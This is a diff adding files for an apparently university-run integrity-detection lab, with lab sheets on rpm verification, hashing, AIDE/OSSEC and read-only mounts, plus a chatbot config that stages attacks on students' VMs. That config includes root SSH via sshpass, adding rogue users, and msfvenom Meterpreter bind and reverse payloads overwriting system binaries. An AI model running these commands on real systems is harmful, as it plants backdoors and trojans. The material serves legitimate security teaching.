+On Linux systems, package management systems are used to organise,
+install, and update software. The package management system has a
+database that keeps track of all the files for each program or software
+package. Depending on the package management system used, the database
+may maintain hashes in order to detect changes to files since install.
+RPM-based systems (such as Red Hat, Fedora, and OpenSUSE), store hashes
+of each file that is included in software packages. There are commands
+that can be used to detect changes to files that have occurred since
+being installed by the package management software.
+
+Note that there are times where it is perfectly normal for a number of
+files to not match the “fresh” versions that were installed: for
+example, configuring a system for use will involve editing configuration
+files that were distributed with software packages.
+
+The “rpm” command has a -V flag for verifying the integrity of packages.
+
+Choose any system file on the computer, such as /etc/securetty. To
+determine which package the file belongs to:
+
+> rpm -q --whatprovides *any-file-you-chose*
+>
+> Where any-file-you-chose is any file such as /etc/securetty.
+
+The output of that command the package-name, and is required in the next
+step.
+
+Check the integrity of the file:
+
+> rpm -V *package-name*
+>
+> Where package-name is the output from the previous command.
+
+An example from the output would be:
+
+> 5S.T..... c /etc/securetty
+
+Which means, it is a config file (c), and:
+
+- S – file Size differs
+
+- M – Mode differs (includes permissions and file type)
+
+- 5 – MD5 sum differs
+
+- D – Device major/minor number mismatch
+
+- L – readLink(2) path mismatch
+
+- U – User ownership differs
+
+- G – Group ownership differs
+
+- T – mTime differs
+
+- P – caPabilities differ
+
+Use the above information to understand the output from your above rpm
+-V command.
+
+Next verify the integrity of all of the packages on the entire system
+(this may take a while):
+
+> rpm -Va
+
+Try to understand the cause of any files failing the integrity checks.
+
+Consider the limitations of this approach: what files will (and won’t)
+this approach to integrity management cover?
+
+#### Limitations of integrity checking
+
+Perhaps the greatest limitation to all of these approaches, is that if a
+system is compromised, you may not be able to trust any of the tools on
+the system, or even the operating system itself to behave as expected.
+In the case of a security compromise, your configuration files may have
+been altered, including any hashes you have stored locally, and tools
+may have been replaced by Trojan horses. For this reason it is safer to
+run tools over the network or from a removable drive, with read-only
+access to protect your backups and hashes. Even then, the
+OS/kernel/shell may not be telling you the truth about what is
+happening, since a rootkit could be concealing the truth from other
+programs.
+
+### Problem-based tasks
+
+#### Choosing files for integrity checking
+
+Fill in the table below with a number of files on a Unix or Windows
+system whose integrity should be monitored for security purposes:
+
+ **Filename** **Description** **Security reason for monitoring integrity**
+ --------------------- ------------------------- ---------------------------------------------------------------------------------------------------------------------
+ *Unix: /etc/passwd* *List of user accounts* *Adding or modifying users is security sensitive, since rogue user accounts could present a backdoor to the system*
+
+
+
+
+
+
+
+
+
+
+
+**Complete the table above, with a number of Unix/Windows files that
+should be monitored for integrity, as evidence that you have completed
+this part of the task.**
+
+**Label it or save it as “Integrity-A1”.**
+
+Add an integrity monitoring solution (md5sum, md5deep, or hashdeep) to a
+cron job, so that every hour the integrity of some important files are
+checked, and any errors are emailed to root.
+
+Hints: Any output on standard error (stderr) on a cron job results in a
+local email to root. As root, type “mail” to read the local emails. Run
+“crontab -e” to add scheduled tasks. Google will certainly help here.
+
+Help: You may find the following links if you have not used cron before
+to run scheduled tasks.
+
+[*Click here for an openSUSE
+Video*](https://www.youtube.com/watch?v=bQfza9aLjss)
+
+[*Click here for a cron
+tutorial*](http://www.computerhope.com/unix/ucrontab.htm)
+
+[*Click here for cron
+examples*](http://www.thegeekstuff.com/2009/06/15-practical-crontab-examples/comment-page-1/)
+
+**Take screenshots of an hourly cronjob rule, and email with an
+integrity report from md5sum/deep or hashdeep, as evidence that you have
+completed this part of the task.**
+
+**Label it or save it as “Integrity-A2”.**
+
+Add to your above solution, by considering and implementing some
+protection against modifications to your hash file/database.
+
+**Take a screenshot of your configuration for protection of the hash
+file (and include a one sentence description), as evidence that you have
+completed this part of the task.**
+
+**Label it or save it as “Integrity-A3”.**
+
+Install either OSSEC (Open Source Host-based Intrusion Detection
+System), AIDE (Advanced Intrusion Detection Environment), or Tripwire
+(if you can find a copy), and use it to monitor the integrity of your
+files. Modify a file named *your-name* (your actual name) and view a
+report or alert that the integrity of the file has been compromised.
+
+**Take a screenshot of a report from OSSEC or AIDE that a file named
+after you has been altered, as evidence that you have completed this
+part of the task.**
+
+**Label it or save it as “Integrity-A4”.**
+
+Add to the integrity monitoring script given earlier, to store and
+retrieve the hashes from a file.
+
+For extra marks, protect the hashes using a HMAC, with user interaction
+to enter a password.
+
+**Save your modifications of the script, as evidence that you have
+completed this part of the task.**
+
+**Label it or save it as “Integrity-A5”.**
+
+### Resources
+
+An excellent resource on the subject of integrity management is Chapter
+20 of the excellent book *Practical Unix & Internet Security, 3rd Ed*,
+by Garfinkel et al (2003).
+
+[^1]: Setting a file to immutable (and therefore impossible to simply
+ delete) can be an effective prank against the uninitiated in Unix
+ ways.
+
+[^2]: It is obvious that there are risks associated with knowing each
+ other’s root passwords! Obviously, use this knowledge responsibly to
+ work together to complete the tasks.
+
+## License
+
+
+
+This work by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons
+Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB).
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity_lab.xml.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity_lab.xml.erb
new file mode 100644
index 000000000..b7eae2de9
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity_lab.xml.erb
@@ -0,0 +1,448 @@
+<%
+ require 'json'
+ require 'securerandom'
+ require 'digest/sha1'
+ require 'fileutils'
+ require 'erb'
+
+ if self.accounts.empty?
+ abort('Sorry, you need to provide an account')
+ end
+
+ $first_account = JSON.parse(self.accounts.first)
+ $second_account = JSON.parse(self.accounts[1])
+
+ $files = []
+ $log_files = []
+ if $first_account.key?("leaked_filenames") && $first_account['leaked_filenames'].size > 0
+ $files = $first_account['leaked_filenames']
+ $log_files = $first_account['leaked_filenames'].grep(/log/)
+ end
+
+ if $files.empty?
+ $files = ['myfile', 'afile', 'filee', 'thefile']
+ end
+ if $log_files.empty?
+ $log_files = ['log', 'thelog', 'logs', 'frogonalog']
+ end
+
+ $main_user = $first_account['username'].to_s
+ $second_user = $second_account['username'].to_s
+ $example_file = "/home/#{$main_user}/#{$files.sample}"
+ $example_dir = "/home/#{$main_user}/personal_secrets/"
+
+ $root_password = self.root_password
+ $flags = self.flags
+
+ REQUIRED_FLAGS = 14
+ while $flags.length < REQUIRED_FLAGS
+ $flags << "flag{#{SecureRandom.hex}}"
+ Print.err "Warning: Not enough flags provided to hackerbot_config generator, some flags won't be tracked/marked!"
+ end
+
+ def get_binding
+ binding
+ end
+%>
+
+
+
+
+
+ Hackerbot
+
+ config/AIML
+
+
+
+ sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} /bin/bash
+
+
+ Your system is about to be hacked. I'll do what I can hold them off, but you are going to have to work with me to protect yourself. I'll cough up some flags if you work with me.
+
+
+ Let me know when you are 'ready', if you want to move on to another attack, say 'next', or 'previous' and I'll move things along.
+ When you are ready, simply say 'ready'.
+ 'Ready'?
+ Better hurry, the attack is imminent... Let me know when you're 'ready'.
+ Ok, I'll do what I can to move things along...
+ Moving things along to the next attack...
+ Ok, next attack...
+ Ok, I'll do what I can to back things up...
+ Ok, previous attack...
+ Ok, backing up.
+ Ok, skipping it along.
+ Let me see what I can do to goto that attack.
+ That was the last attack for now. You can rest easy, until next time... (End.)
+ That was the last attack. Game over?
+ You are back to the beginning!
+ This is where it all began.
+ Ok. Gaining shell access, and running post command...
+ Hacking in progress...
+ Attack underway...
+ Here we go...
+ We are in to your system.
+ You are pwned.
+ We have shell.
+ Let me know when you are 'ready', if you want to move on to another attack, say 'next', or 'previous' and I'll move things along.
+ Say 'ready', 'next', or 'previous'.
+
+
+ I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*'
+ Say "The answer is *X*".
+ There is no question to answer
+ Correct
+ Incorrect
+ That's not possible.
+ Wouldn't you like to know.
+
+
+ Oh no. Failed to get shell... You need to let us in.
+
+
+
+ Integrity Management: Detecting Change
+ <%= ERB.new(File.read self.templates_path + 'intro.md.erb').result(self.get_binding) %>
+
+
+ true
+
+
+
+
+<% $random_user = SecureRandom.hex -%>
+
+ An attempt to add a new user is coming, let it happen. But first create a backup of /etc/passwd to /home/<%= $main_user %>/backups/passwd.
+
+ rm /etc/.pwd.lock; sudo adduser <%= $random_user %> --gecos '<%= $random_user %>' --disabled-password --quiet; echo $?
+
+
+ returned error code
+ :( Couldn't add a user -- make sure /etc/ is not still read-only mounted!.
+
+
+ 0
+ User added
+
+
+
+
+ already exists
+ :( Remove the user and try again.
+
+
+ Permission denied|Operation not permitted|Read-only
+ :( You stopped the attack, rather than monitor for changes...
+
+
+ :( Something was not right...
+
+
+
+ Now after the attack, find the username added by diffing using a backup. What username was created?
+ ^<%= $random_user %>$
+ :) <%= $flags.pop %>
+
+
+
+<%= File.read self.templates_path + 'detect_changes.md.erb' %>
+
+<%= ERB.new(File.read self.templates_path + 'detect_changes_backups.md.erb').result(self.get_binding) %>
+
+
+
+
+
+ An attempt to edit a config file is coming, let it happen. But first make sure you have a backup of the /etc/ directory at /home/<%= $main_user %>/backups/etc/.
+ changedf=`find /etc/ -name '*.sh' | sort -R | head -n 1`; echo '# <%= $flags.pop %>' >> $changedf; echo $changedf
+
+
+ /etc/
+ A flag has been inserted into a random file in /etc/. Find the flag. Get to work!
+
+
+
+ Permission denied|Operation not permitted|Read-only
+ :( You stopped the attack, rather than monitor for changes... We are trying to write to /etc/
+
+
+ :( Something was not right... We are trying to write to /etc/
+
+
+
+ Find the flag in your backups. For a second flag, what file was the flag stored in?
+ {{post_command_output}}
+ :) <%= $flags.pop %>
+
+
+
+
+
+
+
+ An attempt to edit a config file is coming, let it happen. But first make sure you have a backup of the /etc/ directory at /home/<%= $main_user %>/backups/etc/.
+ changedf=`find /home/<%= $main_user %>/backups/etc/ -name '*.sh' | sort -R | head -n 1`; echo '# <%= $flags.pop %>' >> $changedf; echo $changedf
+
+
+ /home/<%= $main_user %>/backups/
+ A flag has been inserted into a random file IN YOUR BACKUPS! (Did you really think that was a safe place to store them?) Find the flag. Get to work!
+
+
+
+ Permission denied|Operation not permitted|Read-only
+ :( You stopped the attack, rather than monitor for changes... We are trying to write to /home/<%= $main_user %>/backups/etc/
+
+
+ :( Something was not right... We are trying to write to /home/<%= $main_user %>/backups/etc/
+
+
+
+ Find the flag in your backups. For a second flag, what file was the flag stored in?
+ {{post_command_output}}
+ :) <%= $flags.pop %>
+
+
+
+
+
+<% $random = SecureRandom.hex -%>
+
+ Creating a new file in /home/<%= $main_user %>/... Let it happen.
+
+ echo '<%= $random %>' > /home/<%= $main_user %>/something_secret; echo $?
+
+ 0
+ Created /home/<%= $main_user %>/something_secret
+
+
+
+ Permission denied|Operation not permitted|Read-only
+ :( You stopped the attack, rather than monitor for changes...
+
+
+ :( Something was not right...
+
+
+
+ What is the SHA1 hash of /home/<%= $main_user %>/something_secret?
+ ^<%= Digest::SHA1.hexdigest ("#{$random + "\n"}") %>$
+ :) <%= $flags.pop %>
+
+
+ <%= ERB.new(File.read self.templates_path + 'fim.md.erb').result(self.get_binding) %>
+
+
+
+
+ Going to edit one of your files in /etc/. First, create hashes of /etc/. You will use hash comparisons to detect which file changes
+ x=`find /etc/ -name '*.sh' | sort -R | head -n 1`; echo '' >> $x; echo $x
+
+
+
+ /etc.*
+ Good. Now answer this...
+
+
+
+ Permission denied|Operation not permitted|Read-only
+ :( You stopped the attack, rather than monitor for changes...
+
+
+ :( Something was not right...
+
+
+
+ What is the file that changed? Use hash comparisons.
+ {{post_command_output}}
+ :) <%= $flags.pop %>
+
+
+ <%= ERB.new(File.read self.templates_path + 'fim_recursive.md.erb').result(self.get_binding) %>
+
+
+
+
+ Going to create a new file in /etc/, use hash comparisons to detect which new file changes.
+ x=`find /etc/ -type d | sort -R | head -n 1`; mktemp -p $x -t "XXXXXXXX"
+
+
+
+ /etc.*
+ Good. Now answer this...
+
+
+
+ Permission denied|Operation not permitted|Read-only
+ :( You stopped the attack, rather than monitor for changes... We need to be able to write to /secrets/something_secret/
+
+
+ :( Something was not right...
+
+
+
+ What is the file that was created?
+ {{post_command_output}}
+ :) <%= $flags.pop %>
+
+
+
+
+
+
+
+ Going to copy a new random binary in /bin/|/usr/bin/ use hash comparisons to find the filename of the copied file.
+ srcf=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; srcf="${srcf%\\n}"; dest=$srcf.$RANDOM; cp $srcf $dest; echo $dest
+
+
+
+ /bin/
+ Good. Now answer this...
+
+
+
+ Permission denied|Operation not permitted|Read-only
+ :( You stopped the attack, rather than monitor for changes...
+
+
+ :( Something was not right...
+
+
+
+ What is the file that was created?
+ {{post_command_output}}
+ :) <%= $flags.pop %>
+
+
+
+
+
+
+
+ Going to move random binaries in /bin/|/usr/bin/ use hash comparisons to find the filenames.
+ mv1=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; mv2=`find /bin/ /usr/bin/ -executable | sort -R | head -n 1`; mv $mv1 $mv1.tmp; mv $mv2 $mv1; mv $mv1.tmp $mv2; echo "$mv1 $mv2|$mv2 $mv1"
+
+
+
+ /bin/
+ Good. Now answer this...
+
+
+
+ Permission denied|Operation not permitted|Read-only
+ :( You stopped the attack, rather than monitor for changes...
+
+
+ :( Something was not right...
+
+
+
+ What were the two files that were created? Write the two full paths separated by a space.
+ {{post_command_output}}
+ :) <%= $flags.pop %>
+
+
+
+
+
+
+
+
+ Going to copy a new random file in /etc/ use hash comparisons to find the filename.
+ srcf=`find /etc/ -type f | sort -R | head -n 1`; srcf="${srcf%\\n}"; dest=$srcf.$RANDOM; cp $srcf $dest; echo $dest
+
+
+
+ /etc.*
+ Good. Now answer this...
+
+
+
+ Permission denied|Operation not permitted|Read-only
+ :( You stopped the attack, rather than monitor for changes...
+
+
+ :( Something was not right...
+
+
+
+ What is the file that was created?
+ {{post_command_output}}
+ :) <%= $flags.pop %>
+
+
+
+
+
+
+
+ binname=`sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} 'find /bin/ /usr/bin/ -executable | sort -R | head -n 1'`; echo $binname; msfvenom --platform linux -p linux/x86/meterpreter/bind_tcp -f elf -o /tmp/msfout; /usr/bin/rsync -ratlz --rsh="/usr/bin/sshpass -p <%= $root_password %> ssh -o StrictHostKeyChecking=no -l root" /tmp/msfout $binname
+ false
+
+ Going to replace a binary file in /bin/ or /usr/bin/ with malware. Use PACKAGE VERIFICATION to detect which file has changed
+
+
+ /bin/
+ Good. Now answer this...
+
+
+
+ Permission denied|Operation not permitted|Read-only
+ :( You stopped the attack, rather than monitor for changes.../
+
+
+ :( Something was not right...
+
+
+
+ What is the file that was created?
+ {{pre_shell_command_output_first_line}}
+ :) <%= $flags.pop %>
+
+
+ <%= File.read self.templates_path + 'fim_package_management.md.erb' %>
+
+
+
+
+
+ binname=`sshpass -p <%= $root_password %> ssh -oStrictHostKeyChecking=no root@{{chat_ip_address}} 'find /bin/ /usr/bin/ -executable | sort -R | head -n 1'`; echo $binname; msfvenom --platform linux -p linux/x86/meterpreter/reverse_tcp -f elf -o /tmp/msfout; /usr/bin/rsync -ratlz --rsh="/usr/bin/sshpass -p <%= $root_password %> ssh -o StrictHostKeyChecking=no -l root" /tmp/msfout $binname
+ false
+
+ Going to replace a binary file in /bin/ or /usr/bin/ with malware. Detect which file has changed
+
+
+ /bin/
+ Good. Now answer this...
+
+
+
+ Permission denied|Operation not permitted|Read-only
+ :( You stopped the attack, rather than monitor for changes.../
+
+
+ :( Something was not right...
+
+
+
+ What is the file that was created?
+ {{pre_shell_command_output_first_line}}
+ :) <%= $flags.pop %>
+
+
+
+
+
+ Finally, try to prevent me from obtaining shell access to your system
+ :) Failed to get shell... <%= $flags.pop %>
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity_limitations.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity_limitations.md.erb
new file mode 100644
index 000000000..d6ab21c0e
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/integrity_limitations.md.erb
@@ -0,0 +1,3 @@
+#### Limitations of integrity checking
+
+Perhaps the greatest limitation to all of these approaches, is that if a system is compromised, you may not be able to trust any of the tools on the system, or even the operating system itself to behave as expected. In the case of a security compromise, your configuration files may have been altered, including any hashes you have stored locally, and tools may have been replaced by Trojan horses. For this reason it is safer to run tools over the network or from a removable drive, with read-only access to protect your backups and hashes. Even then, the OS/kernel/shell may not be telling you the truth about what is happening, since a rootkit could be concealing the truth from other programs.
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/intro.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/intro.md.erb
new file mode 100644
index 000000000..dfc3fe2ea
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/intro.md.erb
@@ -0,0 +1,50 @@
+# Integrity Management: Detecting Change
+
+## Getting started
+### VMs in this lab
+
+==Start these VMs== (if you haven't already):
+- hackerbot_server (leave it running, you don't log into this)
+- desktop
+
+### Your login details for the "desktop" VM
+User: <%= $main_user %>
+Password: tiaspbiqe2r (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember)
+
+You won't login to the hackerbot_server, but the VM needs to be running to complete the lab.
+
+### For marks in the module
+1. **You need to submit flags**. Note that the flags and the challenges in your VMs are different to other's in the class. Flags will be revealed to you as you complete challenges throughout the module. Flags look like this: ==flag{*somethingrandom*}==. Follow the link on the module page to submit your flags.
+2. **You need to document the work and your solutions in a workbook**. This needs to include screenshots (including the flags) of how you solved each Hackerbot challenge and a writeup describing your solution to each challenge, and answering any "Workbook Questions". The workbook will be submitted later in the semester.
+
+## Meet Hackerbot!
+
+
+This exercise involves interacting with Hackerbot, a chatbot who will attack your system. If you satisfy Hackerbot by completing the challenges she will reveal flags to you.
+
+**On the desktop VM:**
+
+==Open Pidgin and send some messages to Hackerbot:==
+
+- Try asking Hackerbot some questions
+- Send "help"
+- Send "list"
+- Send "hello"
+
+Hackerbot will start you on your journey! Work through the below exercises, completing the Hackerbot challenges as noted.
+
+---
+
+## Integrity
+
+Security is often described in terms of confidentiality, integrity, and availability. Protecting the integrity of information involves preventing and detecting unauthorised changes. In many commercial organisations integrity of information is the highest priority security goal. Managing who is authorised to make changes to databases or files, and monitoring the integrity of resources for unauthorised changes is an important task in managing information security.
+
+## Protecting integrity
+
+Protecting the integrity of resources, such as the files on a system, involves successfully managing a variety of security mechanisms, such as authentication, access controls and file permissions, firewalls, and so on.
+
+> On Linux systems this can include managing passwords, packet filtering IPTables rules, standard Unix file permissions (rwx), Linux extended attributes (including ACLs for detailed authentication, labels for mandatory access control (MAC), and Linux Capabilities). Linux (like other Unix-like and Unix-based systems) has a long history of adding new security features as and when they are required.
+>
+> Note that many security controls such as those listed above are very important for protecting the integrity of files, but are beyond the scope of this lab. Here the focus is on techniques that are focussed on integrity rather than confidentiality or availability.
+
+There are precautions that can be taken to reduce the chances of unauthorised changes.
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/labsheet.html.erb
new file mode 100644
index 000000000..99ae9bed0
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/labsheet.html.erb
@@ -0,0 +1,114 @@
+
+
+ <%= self.title %>
+
+
+
+
+
+
+ <%= self.html_TOC_rendered %>
+
+
+
+ <%= self.html_rendered %>
+
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/license.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/license.md.erb
new file mode 100644
index 000000000..c11478e8e
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/license.md.erb
@@ -0,0 +1,6 @@
+## License
+This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB).
+
+Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version.
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/resources.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/resources.md.erb
new file mode 100644
index 000000000..374803e00
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/resources.md.erb
@@ -0,0 +1,5 @@
+## Resources
+
+An excellent resource on the subject of integrity management is Chapter 20 of the excellent book *Practical Unix & Internet Security, 3rd Ed*, by Garfinkel et al (2003).
+
+Bind mounting: [http://lwn.net/Articles/281157/](http://lwn.net/Articles/281157/)
\ No newline at end of file
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/ro_mounting.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/ro_mounting.md.erb
new file mode 100644
index 000000000..b35801e69
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_detection/templates/ro_mounting.md.erb
@@ -0,0 +1,80 @@
+### Protecting integrity with read-only filesystems
+#### Getting to know read-only mounting
+On Unix, a filesystem is mounted to a particular point in the directory structure; for example, a USB thumb drive may be mounted to /media/myUSB/. Some filesystems will automatically mount read-only; for example, if you insert a CD-ROM, since those disks are physically read-only. It is possible to optionally mount almost any filesystem, such as a USB or even a directory, in read-only mode, which will make it practically impossible to write changes to it (without remounting or accessing the drive/directory in other ways, which normally only root can do).
+
+In new versions of Linux, it is possible to have a directory (one part of what is on a disk) present in the directory structure twice with different mount options (for example, /home/<%= $main_user %> and /home/<%= $main_user %>-read-only). This can be achieved by bind mounting, and then remounting to set the bind mount to read only.
+
+In a command prompt, ==run:==
+
+```bash
+mount
+```
+> Note that many of the devices and directories have been mounted for read and write access (**rw**). For security reasons, it can be safer to mount things as read-only, when we don't need to be able to make changes to the contents.
+
+Ordinary users can only read the /etc/ directory but the superuser root who owns the /etc/ directory can read and write to it. In the following example, you are going to mount the /etc/ directory to a mount point (another directory within the filesystem) and the contents of the /etc/ directory will be accessible via the mount point.
+
+List the contents of the /etc/ directory so you are familiar with its contents:
+
+```bash
+ls /etc/
+```
+Create a new directory to be the mount point. ==Run:==
+
+```bash
+mkdir /home/<%= $main_user %>/etc
+```
+==Mount the /etc/ directory to the new mount point:==
+
+```bash
+sudo mount -o bind /etc/ /home/<%= $main_user %>/etc/
+```
+Make sure the /etc/ directory is accessible via the home-etc directory mount point:
+
+```bash
+ls /home/<%= $main_user %>/etc/
+```
+Ordinary users can only read but the superuser root can still write to the directory. Test this by creating a new file as the superuser root in the /home/<%= $main_user %>/etc/ directory:
+
+```bash
+sudo touch /home/<%= $main_user %>/etc/newfile1
+```
+Check that a new file has been created using the following commands:
+
+```bash
+ls -l /home/<%= $main_user %>/etc/newfile1
+```
+
+```bash
+ls -l /etc/newfile1
+```
+
+We can use read only mounting to make filesystems and directories available read-only. Next you will ==remount /etc/ in read-only mode== so that even the superuser root who owns the /etc/ directory cannot make changes to its contents via the mount point.
+
+```bash
+sudo mount -o remount,ro,bind /etc/ /home/<%= $main_user %>/etc/
+```
+==Test this== by trying to create a new file as the superuser root in the /home/<%= $main_user %>/etc/ directory:
+
+```bash
+sudo touch /home/<%= $main_user %>/etc/newfile2
+```
+
+This should prevent changes being accidentally being made to important configuration files in the /etc/ directory.
+
+
+We can ==remount a directory as read-only to itself==:
+
+```bash
+sudo mount -o bind <%= $example_dir %> <%= $example_dir %>
+sudo mount -o remount,ro,bind <%= $example_dir %> <%= $example_dir %>
+```
+
+Now even the owner of the directory (you), can't make changes. ==Try:==
+
+```bash
+cat > <%= $example_dir %>new_file
+```
+
+Mounting read-only can be an effective way of protecting resources that you don't need to make any changes to. Read-only mounting is particularly effective when an actual disk resides externally, and *can be enforced remotely*. For example, when sharing files over the network.
+
+> Note that mounting read-only may be circumvented by root (or a user with enough privilege) via direct access to the device files (/dev/sdc1 in the example above), or by re-mounting as read-write (when the mounting ro is not enforced via remote network share).
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/integrity_protection.pp b/modules/generators/structured_content/hackerbot_config/integrity_protection/integrity_protection.pp
new file mode 100644
index 000000000..e69de29bb
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/manifests/.no_puppet b/modules/generators/structured_content/hackerbot_config/integrity_protection/manifests/.no_puppet
new file mode 100644
index 000000000..e69de29bb
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/secgen_local/local.rb b/modules/generators/structured_content/hackerbot_config/integrity_protection/secgen_local/local.rb
new file mode 100644
index 000000000..7629a808b
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/secgen_local/local.rb
@@ -0,0 +1,19 @@
+#!/usr/bin/ruby
+require_relative '../../../../../../lib/objects/local_hackerbot_config_generator.rb'
+
+class Integrity1 < HackerbotConfigGenerator
+
+ def initialize
+ super
+ self.module_name = 'Hackerbot Config Generator Integrity'
+ self.title = 'Integrity management: protecting integrity'
+
+ self.local_dir = File.expand_path('../../',__FILE__)
+ self.templates_path = "#{self.local_dir}/templates/"
+ self.config_template_path = "#{self.local_dir}/templates/integrity_lab.xml.erb"
+ self.html_template_path = "#{self.local_dir}/templates/labsheet.html.erb"
+ end
+
+end
+
+Integrity1.new.run
\ No newline at end of file
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/secgen_metadata.xml b/modules/generators/structured_content/hackerbot_config/integrity_protection/secgen_metadata.xml
new file mode 100644
index 000000000..1c09d62dd
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/secgen_metadata.xml
@@ -0,0 +1,57 @@
+
+
+
+ Hackerbot config for a protecting integrity lab
+ Z. Cliffe Schreuders
+ GPLv3
+ Generates a config file for a hackerbot for an integrity lab.
+ Topics covered: Protecting integrity with file attributes;
+ Protecting integrity with read-only filesystems.
+
+ hackerbot_config
+ linux
+
+ accounts
+ flags
+ root_password
+
+
+
+
+
+
+ vagrant
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ puppet
+
+
+ hackerbot
+
+
\ No newline at end of file
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/shared/labsheet.html.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/shared/labsheet.html.erb
new file mode 100644
index 000000000..72dab611a
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/shared/labsheet.html.erb
@@ -0,0 +1,29 @@
+
+
+ <%= self.title %>
+
+
+
+
+
+
+
+ <%= self.html_rendered %>
+
+
+
+
+
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/shared/license.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/shared/license.md.erb
new file mode 100644
index 000000000..8e89ace31
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/shared/license.md.erb
@@ -0,0 +1,4 @@
+## License
+This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB).
+
+Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version.
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/detect_changes.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/detect_changes.md.erb
new file mode 100644
index 000000000..825860781
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/detect_changes.md.erb
@@ -0,0 +1,3 @@
+## Detecting changes to resources
+
+Although we can aim to protect integrity, eventually even the strongest defenses can fail, and when they do we want to know about it! In order to respond to a security incident we need to detect that one has occurred. One way we do so is to detect changes to files on our system.
diff --git a/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/detect_changes_backups.md.erb b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/detect_changes_backups.md.erb
new file mode 100644
index 000000000..e9782150b
--- /dev/null
+++ b/modules/generators/structured_content/hackerbot_config/integrity_protection/templates/detect_changes_backups.md.erb
@@ -0,0 +1,87 @@
+### Detecting changes to resources using backups
+
+One technique is to compare files to a backup known to represent the system or resources in a clean state. One advantage of this approach is that we detect that files have changed, and also see *exactly* how they differ.
+
+Make a directory to store your backups. ==Run:==
+
+```bash
+mkdir /home/<%= $main_user %>/backups/
+```
+
+==Make a backup copy of your /etc/passwd file:==
+
+```bash
+cp /etc/passwd /home/<%= $main_user %>/backups/
+```
+
+This file (/etc/passwd) is an important file on Unix systems, which lists the user accounts on the system. Although historically the hashes of passwords were once stored here, they are now typically stored in /etc/shadow. Changes to the /etc/passwd file are usually infrequent (such as when new user accounts are created) and changes should only be made for authorised purposes.
+
+==Add a new user== to your computer...
+
+```bash
+sudo useradd new-username
+```
+> Where ==*new-username*==, is some new name.
+
+To make things even more interesting, ==edit the /etc/passwd file== and move the new user account line somewhere other than right at the bottom, so that it is less obvious:
+
+```bash
+sudo vi /etc/passwd
+```
+> Move the cursor onto the line representing your new account (probably at the bottom).
+>
+> In vi type:
+> :m *-==number==*
+>
+> Where ==*number*== is the number of lines to move up, for example: ':m -20' will move the currently selected line up 20 lines, 'hiding' the new user account amongst the others.
+>
+> Save your changes and exit vi by typing:
+>
+> :wq
+
+Look at the changes in your accounts made on your computer, and try to spot the new user account:
+
+```bash
+less /etc/passwd
+```
+> (q to exit)
+
+It's not as easy as it sounds, especially if your system has lots of user accounts.
+
